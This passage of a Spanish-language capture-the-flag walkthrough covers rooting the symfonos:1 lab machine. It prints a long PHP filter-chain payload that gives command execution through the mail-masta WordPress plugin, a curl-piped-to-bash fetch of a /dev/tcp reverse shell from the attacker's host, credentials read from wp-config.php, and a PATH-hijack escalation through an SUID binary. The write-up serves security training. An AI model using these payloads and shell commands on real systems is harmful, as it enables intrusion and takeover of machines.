encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JIS
X0213|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT
_JISX0213|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-
2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|conve
rt.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-
156.JOHAB|convert.base64-decode|convert.base64-
```

```
encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM94
3|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-
932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-
decode/resource=php://temp
```

Esto lo que hara sera crear el `payload` que nosotros queramos usar de manera "codificada" para que nosotros lo pongamos en el parametro vulnerable, en este caso seria en el `pl=`, lo que estoy haciendo es crear un parametro llamado `cmd` en el que pueda ejecutar comandos de forma libre...

Por lo que una vez generado eso anterior, todo ese contenido lo pondremos despues del `=` de `pl` y como habremos creado el parametro `cmd` que es donde ejecutaremos todos los comandos haremos un `ls` para probar quedando de esta manera...

```
URL = http://symfonos.local/h3l105/wp-content/plugins/mail-
masta/inc/campaign/count_of_send.php?cmd=ls&pl=php://filter/convert.iconv.UTF8.CSISO2
022KR|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN
5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|co
nvert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-
932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-
16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-
103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert
.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM94
3|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-
932|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-
9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-
90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-
16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert
.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|conver
t.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4
|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-
16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-
932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM94
3|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-
```

```
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO202
2KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-
932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-
16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-
932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-
16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|conver
t.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-
90|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert
.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-
AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-
32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-
156.JOHAB|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-
32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UH
C.JOHAB|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert
.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|co
nvert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-
90|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-
2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|co
nvert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-
16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert
.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert
```

```
.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-
32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-
932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-
932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-
16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-
8|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JIS
X0213|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT
_JISX0213|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-
2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|conve
rt.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-
156.JOHAB|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM94
3|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-
932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-
decode/resource=php://temp
```

Info:

```
ajax_camp_send.php
ajaxreport.php
campaign-delete.php
count_of_send.php
create-campaign.php
demo-view-campaign.php
immediate_campaign.php
post_campaign_send.php
test_mail.php
view-campaign-list.php
view-campaign.php
▯�

P��▯�▯��
```

Por lo que vemos funciono, por lo que ahora intentaremos hacer una `Reverse Shell`...

Comprobaremos que `curl` esta instalado y funcional...

```
python3 -m http.server 80
```

Y ahora estando a la escucha de alguna peticion, nos haremos una peticion con `curl` para comprobarlo...

```
URL = http://symfonos.local/h3l105/wp-content/plugins/mail-
masta/inc/campaign/count_of_send.php?cmd=curl http://<IP_HOST>/test
&pl=<CONTENT_PAYLOAD>
```

Si enviamos eso y volvemos a nuestra terminal viendo que sucedio en `python` veremos la siguiente peticion, por lo que sabemos que `curl` esta instalado...

```
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.5.179 - - [11/Jun/2024 15:53:51] code 404, message File not found
192.168.5.179 - - [11/Jun/2024 15:53:51] "GET /test HTTP/1.1" 404 -
```

Una vez sabiendo eso, haremos lo siguiente...

Entraremos a la escucha para estar preparados para la `Reverse Shell`....

```
nc -lvnp <PORT>
```

Tendremos todavia nuestro `python` abierto a la escucha para ver que las peticiones viajan bien...

Crearemos un archivo con una `Reverse Shell` llamado `index.html`...

> index.html

```
nano index.html

#Contenido del nano

#!/bin/bash

bash -i >& /dev/tcp/<IP>/<PORT> 0>&1
```

Guardamos el archivo y ahora lo ejecutaremos desde `curl` de la siguiente manera...

```
URL = http://symfonos.local/h3l105/wp-content/plugins/mail-
masta/inc/campaign/count_of_send.php?cmd=curl http://<IP_HOST>/index.html | bash
&pl=<CONTENT_PAYLOAD>
```

Una vez hecho esto habremos conseguido una conexion con el usuario `helios`...

Sanitizamos la shell...

```
script /dev/null -c bash

# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
```

Una vez sanitizada la shell, si vamos a la siguiente ruta...

```
/var/www/html/h3l105
```

Veremos un archivo tipico de configuracion de `mysql` que contiene credenciales llamado `wp-config.php` si lo leemos veremos las siguientes lineas bastante interesantes...

```
/ ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'wordpress' );

/** MySQL database password */
define( 'DB_PASSWORD', 'password123' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
```

Te da un usuario y una contraseña, pero no funciona en ningun usuario...

Si nos vamos a la siguiente ruta `/opt` veremos un archivo llamado `statuscheck` que tiene los siguientes permisos...

```
-rwsr-xr-x  1 root root 8640 Jun 28  2019 statuscheck
```

Tiene el `SUID` activado y si vemos que hace de forma interna de la siguiente manera...

```
strings statuscheck
```

Info:

```
/lib64/ld-linux-x86-64.so.2
libc.so.6
system
__cxa_finalize
__libc_start_main
_ITM_deregisterTMCloneTable
__gmon_start__
_Jv_RegisterClasses
_ITM_registerTMCloneTable
GLIBC_2.2.5
curl -I H
http://lH
ocalhostH
AWAVA
AUATL
[]A\A]A^A_
;*3$"
GCC: (Debian 6.3.0-18+deb9u1) 6.3.0 20170516
crtstuff.c
__JCR_LIST__
deregister_tm_clones
__do_global_dtors_aux
completed.6972
__do_global_dtors_aux_fini_array_entry
frame_dummy
```

```
__frame_dummy_init_array_entry
prog.c
__FRAME_END__
__JCR_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
_edata
system@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
__bss_start
main
_Jv_RegisterClasses
__TMC_END__
_ITM_registerTMCloneTable
__cxa_finalize@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.jcr
.dynamic
.got.plt
.data
.bss
.comment
```

Vemos que ejecuta el binario `system` y `curl` por lo que haremos lo siguiente para ser `root`...

Igualmente todo esta recogido en esta pagina tambien...

URL = https://medium.com/purplebox/linux-privilege-escalation-with-path-variable-suid-bit-6b9c492411de

```
cd /tmp

echo "chmod u+s /bin/bash" > curl
echo "chmod u+s /bin/bash" > system

chmod +x curl
chmod +x system
```

Vemos que se haya creado todo correctamente en nuestra carpeta `/tmp`...

```
-rwxr-xr-x  1 helios helios   20 Jun 12 04:07 curl
-rwxr-xr-x  1 helios helios   20 Jun 12 04:06 system
```

Ahora lo que vamos hacer es cambiar el `PATH` para que se ejecute antes lo que hay en `/tmp` antes de que se ejecute en `/usr/bin`, de la siguiente forma podemos ver que la ruta cambia antes de exportar el `PATH`...

```
which curl
```

Info:

```
/usr/bin/curl
```

Pero si lo exportamos...

```
export PATH=/tmp:$PATH
```

Con esto lo que estamos haciendo es de antes tener el `PATH` asi...

```
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games
```

A tenerlo de esta manera...

```
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games
```

Por lo que ahora mismo `/tmp` lo que haya dentro y coincida con lo que se esta ejecutando el binario se va a ejecutar antes en `/tmp` que en `/usr/bin` y si le hacemos lo siguiente veremos lo que digo...

```
which curl
```

Info:

```
/tmp/curl
```

Por lo que la ruta logica cambio correctamente a la de `/tmp`...

```
/opt/statuscheck
```

Una vez ejecutado el archivo `statuscheck` si hacemos lo siguiente...

```
ls -la /bin/bash
```

Veremos lo siguiente...

```
-rwsr-xr-x 1 root root 1099016 May 15  2017 /bin/bash
```

Que los permisos se cambiaron correctamente y podremos ser `root` de esta manera...

```
bash -p
```

Y con esto ya seriamos `root`, por lo que leeremos la flag...

> proof.txt (flag_final)

```
        Congrats on rooting symfonos:1!

                 \ __
--==/////////////[})))==*
                 / \ '          ,|
                    ``\      //|                             ,|
                      \ `\  //,/'                           -~ |
   )             _-~~~\  |/ / |'|                       _-~  / ,
  ((            /' )   | \ / /'/                    _-~   _/_-~|
 (((            ;  /`  ' )/ /''                 _ -~     _-~ ,/'
 ) ))           `~~\   `\/'/|'           __--~~__--\ _-~  _/,
((( ))            / ~~    \ /~      __--~~  --~~  __/~  _-~ /
 ((~\           |    )   | '      /        __--~~  -~~ _-~
    `(\    __--(   _/    |'\     /     --~~   __--~' _-~ ~|
     (  ((~~   __-~        ~\   /     ___---~~  ~~~~__--~
      ~~~~~~~~   `-~      ~\ /           __--~~~'~~/
                   ;\ __.-~  ~-/      ~~~~~____---~~ _..--._
                   ;;;;;;;;'  /      ---~~~/_.-----.-~  _.._ ~\
                  ;;;;;;;'   /      ----~~/         `\,~    `\ \
                  ;;;;'     (      ---~~/         `:::|       `\.
                  |'  _      `----~~~~'      /      `:|        ())))),
            ______//~    |                 /        /         (((((())
          /~;;.____/;;'  /          ___.---(   `;;;/             )))'`))
         / //  _;______;'------~~~~~    |;;/\    /                ((   (
        //  \ \                        /  |  ;;,\                 `
       (<_    \ \                     /',/-----'  _>
        _|     \_                 //~;~~~~~~~~~
                 _|               (,~~
                                    ~\
                                     ~~

        Contact me via Twitter @zayotic to give feedback!
```